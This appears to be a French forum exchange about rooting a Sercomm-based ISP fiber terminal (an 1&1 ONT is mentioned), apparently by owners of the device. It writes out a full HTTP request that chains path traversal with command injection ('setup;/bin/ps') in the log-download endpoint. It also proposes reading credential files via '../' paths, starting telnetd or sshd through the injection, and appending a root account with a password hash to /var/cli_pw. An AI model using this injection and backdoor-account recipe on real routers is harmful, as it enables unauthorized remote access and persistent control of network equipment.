la requête:
POST /data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token=HK460CEB5AJW1F3A8140 HTTP/1.1
Host: 192.168.100.1
Content-Length: 49
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.100.1
Referer: http://192.168.100.1/setup.cgi?next_file=activation_page/%2e%2e%2fstatusandsupport/debug_log.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr-FR;q=0.8,fr;q=0.7
Cookie: lang=en
Connection: close
applog_select=4.2023-06-08-00-35-23.setup;/bin/ps
Compte tenu de la requête d'origine, j'en déduis que statusandsupport/debug_log.html est accessible.
En plus de la capacité à lancer des commandes, ça ne m'étonnerait pas que le chemin ne soit pas protégé, et qu'on puisse récupérer des fichiers arbitaires directement, par exemple "applog_select=../../../../var/http_pw".
Pour le cas de l'ONT 1&1, je crains que cette API soit derrière le login malheureusement.
Du coup on peut lancer /usr/sbin/telnetd et/ou /usr/sbin/sshd qui répondent bien, par contre telnet ne reconnait aucun login (superadmin superuser root ...) et quitte avant le prompt password et sshd root/root ne fonctionne pas donc il va falloir creer un user grâce à l'injection. D'autre part il n'y a pas netcat (applet not found dans busybox) sur le router donc l'option simple de faire un remote shell ne semble pas possible non plus...
telnetd => login => sc_cli => /var/cli_pw
Le sshd semble également patché pour utiliser /var/cli_pw.
Tu peux regarder si tu as le même contenu que dans mon test standalone, si oui on pourrait tenter d'utiliser hashcat, mais hmac_sha256($1$SERCOMM$, password) c'est compliqué si le mot de passe est long.
Sinon il faut soit :
- injecter un user : "echo root:a55242ef39eaf4157eae9139cd746837ed8091505eee52c10bdc27bbab1ab260:0:0:Root:/:/bin/sh >> /var/cli_pw"
- ajouter une clé publique (si c'est activé).
Mais le telnetd risque d'être limité à sc_cli (qui remplace login, mais est en fait un shell), malgré le fait que le /var/cli_pw donne /bin/sh comme shell.
Pour sshd, je ne sais pas, ça dépend de comment ils l'ont patché.